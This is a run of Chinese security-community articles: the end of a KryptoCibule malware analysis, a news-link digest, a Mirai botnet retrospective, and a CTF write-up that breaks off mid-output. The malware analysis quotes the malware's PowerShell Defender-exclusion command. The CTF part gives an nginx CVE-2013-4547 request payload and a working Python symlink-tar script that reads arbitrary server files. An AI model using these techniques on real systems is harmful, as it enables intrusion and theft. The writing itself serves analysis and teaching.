WMI`对象的字符串avast，avg和eset进行不区分大小写的检查，如图8的反编译代码所示。如果检测到这些字符串中的任何一个，将不会安装cryptominer组件。
图8.清理了用于检查特定安全产品的函数的反编译代码。
每当恶意软件自行安装、更新或安装新组件时，通过发出以下命令，将使用的安装路径从Windows Defender自动扫描中排除：
`powershell -c “Add-MpPreference -ExclusionPath ‘<install path>'”`
它还会创建防火墙规则，以使用看起来无害的名称显式允许其组件的入站和出站流量。图9所示的函数还创建了一条规则，以阻止来自ESET内核服务（ekrn.exe）的出站流量。
图9.阻止来自Windows防火墙中的ekrn.exe的出站流量的功能。
#### Tor网络使用
KryptoCibule带来了tor.exe命令行工具，其伪装为ADelRCP.exe，以及一个配置文件（如图10所示）为libstringutils.dll。
图10.最新版本的恶意软件使用的Tor配置文件。
这将在端口9050上设置一个SOCKS代理，恶意软件使用该代理通过Tor网络中继与C&C服务器的所有通信。这有两个好处：加密通信并使跟踪这些uri背后的实际服务器变得几乎不可能。
配置文件的第二部分在受害主机上设置洋葱服务。运营商可以通过Tor网络访问这些内容。首次启动这些服务时，Tor会自动为主机生成一个.onion
URI。然后，此唯一主机名将发送到`%C&C%/transferhost/<unique name>`。我们将在接下来的部分中讨论如何使用这些洋葱服务。
恶意软件中包含两个C＆C服务器的洋葱URI。其中一个提供了REST API，恶意软件将其用于大多数通信，而另一个则用于下载文件。通过向`％C＆C％/
server`发出请求，可以一次获得一个附加的URI
。某些较旧版本的恶意软件使用这些恶意软件通过端口12461下载更新。我们相信这些URI指向其他受感染的主机。使用它们的恶意软件版本具有代码，可将其下载的更新放置在同一端口上的MiniWeb
HTTP Server服务的目录中。
我们能够在遥测数据中为文件服务器C＆C标识一个IP地址。
## 获取加密货币
KryptoCibule具有三个组件，这些组件利用受感染的主机来获取加密货币。
#### 密码挖掘
KryptoCibule的最新版本使用XMRig（一个使用CPU挖掘Monero的开源程序）和kawpowminer（另一个使用GPU挖掘以太坊的开源程序）。第二个仅在主机上找到专用GPU时使用。这两个程序都设置为通过Tor代理连接到操作员控制的挖掘服务器。
在主循环的每次迭代中，恶意软件都会检查电池电量以及自上次用户输入以来的时间。然后，它将基于此信息启动或停止矿工进程。如果主机在最近3分钟内未收到任何用户输入，并且电池电量至少为30％，则GPU和CPU矿机都将不受限制地运行。否则，GPU矿工将被挂起，并且CPU矿工被限制为一个线程。如果电池电量不足10％，则两个矿工都将停止。这样做是为了减少被受害者注意的可能性。
#### 剪贴板劫持
第二个组件伪装为SystemArchitectureTranslation.exe。它使用[AddClipboardFormatListener函数](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-addclipboardformatlistener
"AddClipboardFormatListener函数")来监视对剪贴板的更改，并将从`％C＆C％/
regexes`获得的替换规则应用于其内容。该侦听器的代码如图11所示。值0x31D对应于WM_CLIPBOARDUPDATE常量。
这些规则以`<regular_expresssion>！<wallet>`的形式匹配加密货币钱包地址的格式，并将其替换为由恶意软件操作员控制的钱包地址。这是尝试将受害者进行的交易重定向到运营商的钱包。每当settings.cfg文件更改时，此组件便使用[FileSystemWatcher](https://docs.microsoft.com/en-us/dotnet/api/system.io.filesystemwatcher?view=netcore-3.1
"FileSystemWatcher")重新加载替换规则。
图11.剪贴板挂钩使用的侦听器功能的反编译代码。
在撰写本文时，剪贴板劫持组件使用的钱包收到了略高于1800美元的比特币和以太坊。图12中显示了一个这样的钱包。通过将与相同交易中的来源的钱包相关联，我们能够发现至少四个可能属于KryptoCibule运营商的其他比特币钱包。
图12.剪贴板劫持组件使用的比特币钱包。
#### 文件渗透
第三个组件遍历每个可用驱动器的文件系统，并查找包含某些术语的文件名。我们在调查中获得的此类术语的列表如图13所示。
图13.要搜索的单词列表，取自GET％C＆C％/ settingsv5响应。
大多数术语指的是加密货币，钱包或矿工，但也存在一些更通用的术语，例如加密货币（多种语言），种子和密码。该列表包含捷克语和斯洛伐克语中的类似术语，例如heslo，hesla和banka（分别是“
password”，“ passwords”和“
bank”两个词）。一些术语也对应于路径或文件，这些路径或文件可以提供其他有趣的数据（Desktop，私有），包括私有密钥（.ssh和.aws）。它收集每个匹配文件的完整路径，并将列表发送到`%C&C%/found/<unique
name>`。
我们认为，这与在端口9187上作为洋葱服务运行的SFTP服务器协同工作有关系。此服务器为每个可用驱动器创建映射，并使用在恶意软件中硬编码的凭据使它们可用。因此，通过使攻击者控制的计算机通过SFTP从受感染的主机请求收集的路径，可以将其用于文件扩散。
KryptoCibule还会安装合法的Apache httpd服务器，该服务器配置为无限制地充当转发代理，并且可以作为端口9999上的洋葱服务访问。
## 结论
自2018年底以来，KryptoCibule恶意软件一直在泛滥，并且仍处于活动状态，但到目前为止似乎并没有引起太多关注。它使用合法的开放源代码工具以及广泛部署的反检测方法可能是造成此问题的原因。受害人数相对较少（数百人），而且他们大多局限于两个国家，这也可能是造成这种情况的原因。KryptoCibule在其生命周期中定期添加了新功能，并且仍在积极开发中。
据推测，恶意软件操作员通过窃取钱包和挖掘加密货币能够比在剪贴板劫持组件所使用的钱包中发现的收入更高。仅由该组件产生的收入似乎不足以证明所观察到的开发工作的合理性。
* * * | 社区文章 |
# 【知识】10月30日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： ubuntu 18.04 LTS (Bionic Beaver) 已开放开发了、Matrix
Ransomware通过恶意广告开始传播、checkpoint对IoT_Reaper僵尸网络的详细分析、Google Chrome GPU Memory
Corruption Vulnerability
(CVE-2017-5112)（细节以及POC）、Exitmap：Tor出口中继的快速模块化的scanner**
**资讯类：**
****
ubuntu 18.04 LTS (Bionic Beaver) 已开放开发了
<http://news.softpedia.com/news/ubuntu-18-04-lts-bionic-beaver-is-now-officially-open-for-development-518237.shtml>
Matrix Ransomware通过恶意广告开始传播
<http://securityaffairs.co/wordpress/64920/malware/matrix-ransomware-malvertising.html>
回答关于南非大规模“Master Deeds”数据泄露的问题
<https://www.troyhunt.com/questions-about-the-massive-south-african-master-deeds-data-breach-answered/>
The CyberWire每日播客
<https://www.thecyberwire.com/podcasts/cw-podcasts-daily-2017-10-27.html>
**技术类：**
checkpoint对IoT_Reaper僵尸网络的详细分析
<https://research.checkpoint.com/iotroop-botnet-full-investigation/>
Google Chrome GPU Memory Corruption Vulnerability (CVE-2017-5112)（细节以及POC）
<https://bugs.chromium.org/p/chromium/issues/detail?id=740603>
Blazy：一个现代的登录暴力破解器，也可测试CSRF，点击劫持，Cloudflare 以及WAF
<https://github.com/UltimateHackers/Blazy/>
Hacking with dex-oracle以对Android恶意软件进行反混淆
<https://rednaga.io/2017/10/28/hacking-with-dex-oracle-for-android-malware-deobfuscation/>
Exitmap：TOR出口中继的快速模块化的scanner
<http://www.kitploit.com/2017/10/exitmap-fast-and-modular-scanner-for.html>
<https://github.com/NullHypothesis/exitmap>
A Client/Server Model for Masking C&C via Legitimate Behavior over HTTP
<https://github.com/trustedsec/trevorc2/blob/master/README.md>
如何 使用Shadow Volume Copies恢复文件
<https://www.bleepingcomputer.com/tutorials/how-to-recover-files-and-folders-using-shadow-volume-copies/>
如何安全地将你的文件藏在图片中
<http://hackingnewstutorials.com/how-to-safely-hide-your-files-and-folders-inside-images/> | 社区文章 |
# 回顾恶名昭著的Mirai僵尸网络（下）
|
##### 译文声明
本文是翻译文章，文章原作者 Elie Bursztein，文章来源：elie.net
原文地址：<https://www.elie.net/blog/security/inside-mirai-the-infamous-iot-botnet-a-retrospective-analysis>
译文仅供参考，具体内容表达以及含义原文为准。
## 传送门
[回顾恶名昭著的Mirai僵尸网络（上）](https://www.anquanke.com/post/id/89119)
## 前言
本文是回顾恶名昭著的Mirai僵尸网络下半部分，包括以下内容：
1、模仿者的兴起：这一部分介绍了Mirai源代码公布事件及众多黑客组织对这个代码的重用过程。源代码发布后，涌现了许多Mirai变种，这一部分也介绍了我们用来追踪这些变种的具体技术。最后，我们也讨论了每个主流变种背后的目标及动机。
2、Mirai致瘫互联网：介绍Dyn攻击事件的内幕，表明主流站点（如Amazon）无法提供服务其实只是此次攻击的附带牺牲品而已。
3、Mirai封闭整个国家？：分析针对Lonestar（利比里亚最大运营商）的多次攻击活动。
4、德国电信陷入黑暗：讨论Mirai某个变种如何借助路由器使德国互联网提供商下跪求饶。
5、Mirai原作者身份澄清？：详细介绍Brian Krebs关于Mirai作者的调查情况，以及FBI相关案件的审讯结果。
6、德国电信攻击始作俑者被捕：介绍攻击德国电信始作俑者被捕过程，以及从案件审理中我们可以获取的信息。
## 一、模仿者的兴起：9月30日
事件的发展有点出众人所料，在2017年9月30日，作为Mirai的作者，Anna-senpai通过某个臭名昭著的黑客论坛公布了[Mirai源代码](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/)。他还在论坛上发表了一个帖子，宣布就此退出舞台，如上图所示。
源代码的公布是一个导火索，使山寨黑客不断涌现，开始运行自己的Mirai僵尸网络。从那一刻起，Mirai攻击已不局限于单一的攻击者或者单一的基础设施，而是与多个团体关联起来，这使得研究人员更加难以追踪溯源这类攻击，无法看清这些团体背后的动机。
### 聚类Mirai基础设施
为了跟上Mirai变种的扩散速度，跟踪隐藏在这些变种背后的黑客组织，我们开始聚类分析攻击者所使用的基础设施。逆向分析所有的Mirai版本后，我们可以提取出各种黑客组织所使用的C&C服务器的IP地址及域名。我们总共提取出2个IP地址以及66个不同的域名。
从提取出的域名来拓展DNS信息，将这些信息聚类在一起后，我们可以识别出33个不同的C&C集群（cluster），这些集群所使用的基础设施没有交集。这些集群中，最小的集群使用一个单独的IP地址作为C&C地址。最大的集群拥有112个域名以及92个IP地址。我们发现的集群中，最大的6个集群如上图所示。
这些大型集群所使用的域名格式差别很大。比如，“cluster 23”喜欢与动物有关的域名，如“33kitensspecial.pw”，而“cluster
1”拥有许多与电子货币有关的域名，比如“walletzone.ru”。从结果中，我们发现了许多不同的基础设施以及不同的特征，这也进一步确认在源代码泄露后，有多个组织在独立传播Mirai变种。
### 变种集群时间线
通过查看集群C&C基础设施的DNS请求次数，我们可以重构每个集群的演进时间线，估计集群的相对规模。之所以能够通过这种方法进行统计，原因在于每个僵尸节点必须定期执行DNS查询任务，以获取C&C域名所对应的IP地址。
某几个大型集群的DNS请求次数如上图所示。从上图可知，同一时间有许多集群处于活跃状态。我们从中可以推测许多攻击者的动机有所不同，因此他们在争相夺取存在漏洞的IoT设备的控制权，根据自己需求发起DDoS攻击。
将所有变种绘制在一张图上后，我们可以清楚地发现不同变种所使用的IoT设备的范围差别很大。如上图所示，虽然全世界有许多Mirai变种，但只有非常少数的几个变种能够拓展自身规模，具备攻陷主流网站的能力。
### 背后的动机
集群 | 备注
---|---
6 | 攻击Dyn以及游戏相关目标
1 | 原始僵尸网络，攻击Krebs以及OVH
2 | 攻击Lonestar Cell运营商
观察大型集群所攻击的目标，我们可以分析这些集群背后的真正动机。比如，如上表所示，原始的Mirai变种（cluster
1）攻击的是OVH以及Krebs，而Mirai的最大变种（cluster
6）攻击的是DYN以及与游戏相关的其他网站。相比之下，Mirai的第三大变种（cluster 2）攻击的是非洲电信运营商，稍后我们会介绍这一点。
目标 | 被攻击次数 | 集群 | 备注
---|---|---|---
Lonestar Cell | 616 | 2 | 利比里亚电信运营商被反射式攻击102次
Sky Network | 318 | 15, 26, 6 | 巴西Minecraft服务器，托管在Psychz Networks数据中心
104.85.165.1 | 192 | 1, 2, 6, 8, 11, 15 … | Akamai网络中的未知路由器
feseli.com | 157 | 7 | 俄罗斯烹饪博客
Minomortaruolo.it | 157 | 7 | 意大利政客网站
Voxility hosted C2 | 106 | 1, 2, 6, 7, 15 … | 从DNS扩展信息中发现的C2域名
Tuidang websites | 100 | — | 通过HTTP方式攻击中国的两个网站
execrypt.com | 96 | -0- | 二进制混淆服务网站
Auktionshilfe.info | 85 | 2, 13 | 俄罗斯拍卖网站
houtai.longqikeji.com | 85 | 25 | 通过SYN方式攻击原游戏商务网站
Runescape | 73 | — | 世界排名26的在线游戏
184.84.240.54 | 72 | 1, 10, 11, 15 … | 托管在Akamai上的未知目标
antiddos.solutions | 71 | — | react.su提供的反DDoS服务
检查所有Mirai变种最喜欢攻击的服务后，我们可以得到如下结论：
1、 **Mirai受按需攻击服务驱使** ：被攻击的目标包含各种类别，表明某些大型集群正在提供按需攻击服务（booter
service）。客户支付报酬后，网络犯罪分子会根据客户需求提供定制化的DDoS攻击服务。
2、 **攻击者数量比集群数量少** ：某些族群之间有高度重合的目标对象，这表明这些集群背后的攻击者应该为同一类人。比如，cluster
15、26以及6的攻击目标都是Minecraft服务器。
**“Mirai并不是由一个单独的组织来操控，而是由一群犯罪分子来操控，这些犯罪分子会因为不同的动机来运行自己的Mirai变种。”**
## 二、Mirai致瘫互联网：10月21日
10月21日，Mirai[攻击](http://money.cnn.com/2016/10/21/technology/ddos-attack-popular-sites/index.html)了DYN（DYN是非常流行的一个DNS服务提供商）。这次攻击事件导致互联网用户无法访问许多[主流站点](https://en.wikipedia.org/wiki/2016_Dyn_cyberattack)，比如AirBnB、Amazon、Github、HBO、Netflix、Paypal、Reddit以及Twitter，这些站点都由DYN提供域名解析服务。
之前媒体报道说此次攻击目的是“使整个互联网瘫痪”，但我们认为并非如此，此次攻击的真实目标应该是游戏平台。
之所以得出这个结论，是因为我们查看了攻击DYN的变种（cluster
6）的其他攻击目标，发现这些目标都是与游戏平台有关的一些目标。此外，这个变种也跟OVH攻击事件有关，前面我们提到过该平台也托管了一些游戏服务器。非常不幸的是，DYN攻击事件中受到波及的所有站点只是各方利益争夺中的一些附带牺牲品。
**“针对DYN的大规模DDoS攻击的背后实际上是游戏行业的利益争夺，由此导致了大规模互联网中断事故。”**
## 三、Mirai封闭整个国家？：10月31日
作为利比里亚最大的电信运营商之一，Lonestar
Cell从10月31日开始就成为Mirai的攻击目标。在接下来的几个月内，该运营商遭受到616次攻击，是所有Mirai受害者中被攻击次数最多的一个。
在早期阶段，有[报道](https://thehackernews.com/2016/11/ddos-attack-mirai-botnet.html)称这些攻击导致利比里亚互联网大部分处于瘫痪状态。比如，[Akamai](https://twitter.com/akamai_soti/status/794335101794533377)公布了如上一张图表，显示利比里亚流量处于下跌状态。然而后来证实，这一时期刚好与利比里亚的一个节假日重叠，而攻击事件很有可能只影响了少数几个网路。
与此次攻击有关的Mirai集群所使用的基础设施与原始的Mirai或者DYN变种所使用的基础设施之间没有任何交集，这表明此次攻击的始作俑者并非Mirai原始攻击者，而是由完全不同的攻击者所主导。
我们公布了这个研究成果，几个星期之后，某个Mirai变种的背后指使者在[审判](https://www.bleepingcomputer.com/news/security/hacker-bestbuy-admits-to-hijacking-deutsche-telekom-routers-with-mirai-malware/)过程中承认，他收取了不当利益来攻击Lonestar，这也证实了我们的结论。该犯罪分子承认，利比里亚的一家匿名ISP向他支付了1万美元来攻击其竞争对手。这个事实表明，我们的聚类分析方法能够精确跟踪并溯源Mirai的攻击活动。
**“针对Lonestar互联网服务提供商的DDoS攻击事件表明，IoT僵尸网络已经在行业竞争中成为一把尖兵利器。”**
## 四、德国电信陷入黑暗：11月26日
2016年11月26日，作为德国最大的互联网服务提供商之一，德国电信（Deutsche
Telekom）90万台路由器被[恶意入侵](https://www.csoonline.com/article/3144197/security/upgraded-mirai-botnet-disrupts-deutsche-telekom-by-infecting-routers.html)，导致大量用户无法正常使用服务。
具有讽刺意味的是，此次断网事件并不是由Mirai
DDoS攻击所引起，而是由一个错误实现的Mirai定制版变种所导致，该变种在尝试入侵设备时会导致设备离线宕机。这个变种同时也影响了成千上万台[TalkTalk路由器](https://motherboard.vice.com/en_us/article/nz7ky7/hackers-say-knocking-thousands-of-brits-offline-was-an-accident-mirai)。
该变种之所以能影响这么多台路由器，原因在于变种特有的一个复制模块，该模块中增加了路由器漏洞利用功能，攻击的是[CPE WAN管理协议（CPE WAN
Management
Protocol，CWMP）](https://en.wikipedia.org/wiki/TR-069)。CWMP协议是基于HTTP的一种协议，许多互联网提供商会使用该协议为家庭路由器、调制解调器以及其他客户终端设备（customer-on-premises，CPE）提供自动配置及远程管理功能。
除了攻击规模庞大之外，此次攻击事件也具有重要意义，该事件表明了黑客可以将非常复杂的IoT漏洞武器化，进一步构建强大的僵尸网络。我们希望德国电信事件能够起到警钟作用，推动厂商自动、强制性更新IoT设备。由于互联网用户通常需要手动更新IoT设备，因此IoT厂商如果能自动强制更新设备，这在遏制重大风险方面能起到非常好的效果。
**“IoT设备自动更新应该是一种强制性策略，以阻止攻击者利用未打补丁的IoT设备来构建大型IoT僵尸网络。”**
## 五、Mirai原作者身份澄清？
在网站被下线的几个月内，Brian Krebs花了数百个小时的时间，来调查Mirai作者：Anna-Senpai。2017年1月初，Brian宣布，Anna-senpai的真实身份实际上是Paras
Jha，他是罗格斯大学（Rutgers）的一名学生，之前曾参与过攻击游戏行业的一些黑客事件。身份公布后，FBI调查了Paras
Jha。然而，截至2017年11月，官方并没有控告或证实Paras为Mirai的真实开发者。
## 六、德国电信攻击始作俑者被捕
2016年11月，Daniel
Kaye（又名BestBuy）在[卢顿机场](http://www.bbc.com/news/technology-37510502)被捕。Daniel
Kaye是攻击德国电信的Mirai变种的始作俑者。在Mirai事件之前，这名29岁的英国公民曾在各种暗网市场上提供[黑客服务](https://krebsonsecurity.com/2017/07/who-is-the-govrat-author-and-mirai-botmaster-bestbuy/)，他也因此广为人知。
2017年7月，距离Daniel Kaye被引渡到德国后已经过去好几个月的时间，Daniel
Kaye终于[承认](https://www.bleepingcomputer.com/news/security/hacker-bestbuy-admits-to-hijacking-deutsche-telekom-routers-with-mirai-malware/)检方对自己的指控，被判处1年6个月的有期徒刑。在审判期间，Daniel承认他并没有想让路由器宕机，只是想悄悄控制这些设备，利用这些设备构建僵尸网络，提升僵尸网络攻击力。前面提到过，Daniel也承认他收取了一些金钱，帮助Lonestar的竞争对手搞垮Lonestar。
2017年8月，Daniel因曾试图勒索Lloyds以及Barclays银行而被[引渡](https://www.theguardian.com/uk-news/2017/aug/30/alleged-mastermind-daniel-kaye-lloyds-bank-cyber-attacks-extradited-uk)回英国，接受勒索罪审判。根据媒体报道，Daniel要求Lloyds银行支付约75,000英镑的比特币，才会取消对该银行的攻击。
## 七、总结
互联网上存在大量不安全的IoT设备，在不久的将来，这些设备将成为DDOS攻击的主要来源。
**“Mirai事件是一个历史转折点，表明IoT设备已经成为DDoS攻击的主力军。”**
如果IoT厂商开始遵循基本的、切实可用的原则规范，那么就能避免Mirai及后续衍生的IoT僵尸网络。具体说来，IoT设备厂商应该遵循如下标准：
1、消除默认凭证：这一点能够阻止黑客构建超级凭据列表，无法像Mirai那样通过该列表危害大量设备。
2、强制使用自动更新策略：IoT设备经常被人遗忘在角落，因此用户通常不会手动更新这些设备。自动修补这些设备是唯一合理的选择，这样才能确保这些设备不存在像德国电信事件中出现的大范围漏洞，使攻击者无法利用这些漏洞控制大规模互联网。
3、采用限速策略：强制限制登录频率，避免针对这些设备的暴力破解攻击，可以减轻使用弱口令时带来的安全风险。另一个方法就是在登录过程中使用验证码或者其他验证机制。
**“如果IoT设备遵循基本的、切实有效的安全策略，就能避免出现IoT僵尸网络。”** | 社区文章 |
作者：[Hcamael@知道创宇404实验室](http://0x48.pw)
发布时间：2017-10-04
#### Step 0
首先是`.DS_Store`信息泄露，下载下来是一个二进制文件，需要解析，google搜一搜就有了：
>>> from ds_store import DSStore
>>> with DSStore.open("DS_Store", "r+") as f:
... for i in f:
... print i
<admin Iloc>
<admin bwsp>
<admin vSrn>
<config Iloc>
<config bwsp>
<config vSrn>
<includes Iloc>
<includes bwsp>
<includes vSrn>
<index.html Iloc>
<index.php Iloc>
<index.php ptbL>
<index.php ptbN>
<pwnhub Iloc>
<pwnhub bwsp>
<pwnhub vSrn>
<upload Iloc>
<upload bwsp>
<upload vSrn>
#### Step 1
根据提示：`2017.10.02 15:45:49Nginx 虽然有过很多问题，但是它是个好 server`
猜测应该是利用一个NGINX的CVE
然后在上一步发现一个奇怪的地方，最后一个是`uploap[space]` 目录而不是`uploap`目录，有一个空格。
根据这些信息，搜到一个CVE，编号是[CVE-2013-4547](https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547)
....题目关了，搞不到图了。
payload是：`GET upload /../pwnhub/ HTTP/1.1`
这里不能使用浏览器，因为浏览器会把这url变成`/pwnhub/`
得到一个路径：`6c58c8751bca32b9943b34d0ff29bc16/index.php`
#### Step 2
`6c58c8751bca32b9943b34d0ff29bc16/index.php`是一个文件上传的服务
<!DOCTYPE html>
<html>
<head>
<title>你在里面发现了什么? </title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input name="upload" type="file" /><br/>
<input type="submit" value="上传" />
<p>注意：只支持tar!!</p>
<p>更新配置成功，内容如下</p><textarea cols="30" rows="15"></textarea></form>
</body>
</html>
一开始尝试上传各种文件，都能成功，但是配置更新成功并没有显示任何内容，包括上传tar文件，懵逼了一会。。。
然后发现，这个目录也有`.DS_Store`泄露：
>>> with DSStore.open("DS_Store", "r+") as f:
... for i in f:
... print "|%s|"%i.filename
|index.php|
|untar.py|
有一个untar.py文件：
import tarfile
import sys
import uuid
import os
def untar(filename):
os.chdir('/tmp/pwnhub/')
t = tarfile.open(filename, 'r')
for i in t.getnames():
if '..' in i or '.cfg' != os.path.splitext(i)[1]:
return 'error'
else:
try:
t.extract(i, '/tmp/pwnhub/')
except Exception, e:
return e
else:
cfgName = str(uuid.uuid1()) + '.cfg'
os.rename(i, cfgName)
return cfgName
if __name__ == '__main__':
filename = sys.argv[1]
if not tarfile.is_tarfile(filename):
exit('error')
else:
print untar(filename)
很明显了，要压缩一个cfg文件
$ echo "fjwopqafjasdo" > /tmp/test.cfg
$ tar cf /tmp/test.tar /tmp/test.cfg
然后上传test.tar，更新配置成功后终于成功返回内容了。
但是该怎么利用又卡住了，然后看到hint：`2017.10.03 11:24:40想办法把它变成任意文件读取，但 Flag 不在这儿
，当作一次真实渗透玩吧！`
想到了软链接，PoC如下：
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
import re
import requests
from bs4 import BeautifulSoup
def upload():
url = "http://54.223.177.152/6c58c8751bca32b9943b34d0ff29bc16/index.php"
files = {"upload": ("test.tar", open("/tmp/test.tar", "rb"), "application/x-tar")}
r = requests.post(url, files=files)
data = r.content
# html = BeautifulSoup(data, "lxml")
# print html.textarea.contents[0]
print data
def main():
filename = sys.argv[1]
print filename
os.system("ln -sf %s /tmp/test.cfg"%filename)
os.system("tar cf /tmp/test.tar /tmp/test.cfg")
upload()
if __name__ == '__main__':
main()
#### Step 3
到了任意文件读取的步骤了，然后各种文件读读，照例我都会读读`/proc/self`下的文件，然后发现：
$ python 2013_read_file.py /proc/self/mountinfo
<!DOCTYPE html>
<html>
<head>
<title>你在里面发现了什么? </title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input name="upload" type="file" /><br/>
<input type="submit" value="上传" />
<p>注意：只支持tar!!</p>
<p>更新配置成功，内容如下</p><textarea cols="30" rows="15">181 103 0:40 / / rw,relatime - overlay overlay rw,lowerdir=/var/lib/docker/overlay/a67f9242dc6db4569b299d14ce4308f2f63624e8387569cbe015cbc973e50a0c/root,upperdir=/var/lib/docker/overlay/ea20e67da7b4415fd04862f8f7a0bef6a2b6ace2f5ec2e664d07cb9b6280bc8c/upper,workdir=/var/lib/docker/overlay/ea20e67da7b4415fd04862f8f7a0bef6a2b6ace2f5ec2e664d07cb9b6280bc8c/work
182 181 0:43 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
238 181 0:44 / /dev rw,nosuid - tmpfs tmpfs rw,mode=755
239 238 0:45 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
240 181 0:46 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro
241 240 0:47 / /sys/fs/cgroup ro,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,mode=755
242 241 0:22 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/systemd ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd
243 241 0:24 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/blkio ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,blkio
244 241 0:25 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/perf_event ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,perf_event
245 241 0:26 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/cpu,cpuacct ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,cpu,cpuacct
246 241 0:27 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/pids ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,pids
247 241 0:28 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/freezer ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,freezer
248 241 0:29 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/net_cls,net_prio ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,net_cls,net_prio
249 241 0:30 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/memory ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,memory
250 241 0:31 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/cpuset ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,cpuset
251 241 0:32 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/hugetlb ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,hugetlb
252 241 0:33 /docker/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23 /sys/fs/cgroup/devices ro,nosuid,nodev,noexec,relatime - cgroup cgroup rw,devices
253 238 0:42 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw
254 181 202:1 /home/ubuntu/Nginx_1.4.2/crontab /etc/crontab rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
255 181 202:1 /home/ubuntu/Nginx_1.4.2/pwnhub /tmp/pwnhub rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
256 181 202:1 /var/lib/docker/containers/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
257 181 202:1 /var/lib/docker/containers/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23/hostname /etc/hostname rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
258 181 202:1 /var/lib/docker/containers/e31d2f13a2e2d5635994cc152024c3264228513d82590d21557140b641e2ba23/hosts /etc/hosts rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
259 238 0:41 / /dev/shm rw,nosuid,nodev,noexec,relatime - tmpfs shm rw,size=65536k
260 181 202:1 /home/ubuntu/Nginx_1.4.2/html /usr/local/nginx/html rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
261 238 202:1 /home/ubuntu/Nginx_1.4.2/access.log /dev/stdout rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
262 181 202:1 /home/ubuntu/Nginx_1.4.2/run /home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/run rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
263 181 202:1 /home/ubuntu/Nginx_1.4.2/nginx.conf /usr/local/nginx/conf/nginx.conf rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
264 181 202:1 /home/ubuntu/Nginx_1.4.2/cron_run.sh /home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/cron_run.sh rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
419 181 202:1 /home/ubuntu/Nginx_1.4.2/www.conf /etc/php5/fpm/pool.d/www.conf rw,relatime - ext4 /dev/xvda1 rw,discard,data=ordered
104 238 0:45 /0 /dev/console rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
107 182 0:43 /bus /proc/bus ro,relatime - proc proc rw
108 182 0:43 /fs /proc/fs ro,relatime - proc proc rw
109 182 0:43 /irq /proc/irq ro,relatime - proc proc rw
110 182 0:43 /sys /proc/sys ro,relatime - proc proc rw
111 182 0:43 /sysrq-trigger /proc/sysrq-trigger ro,relatime - proc proc rw
112 182 0:44 /null /proc/kcore rw,nosuid - tmpfs tmpfs rw,mode=755
113 182 0:44 /null /proc/timer_list rw,nosuid - tmpfs tmpfs rw,mode=755
114 182 0:44 /null /proc/timer_stats rw,nosuid - tmpfs tmpfs rw,mode=755
115 182 0:44 /null /proc/sched_debug rw,nosuid - tmpfs tmpfs rw,mode=755
132 240 0:48 / /sys/firmware ro,relatime - tmpfs tmpfs ro
</textarea></form>
</body>
</html>
发现一个脚本：`/home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/cron_run.sh`
$ python 2013_read_file.py /home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/cron_run.sh
/home/jdoajdoiq/jdijiqjwi/jiqji12i3198uax192/cron_run.sh
tar: Removing leading `/' from member names
<!DOCTYPE html>
<html>
<head>
<title>你在里面发现了什么? </title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input name="upload" type="file" /><br/>
<input type="submit" value="上传" />
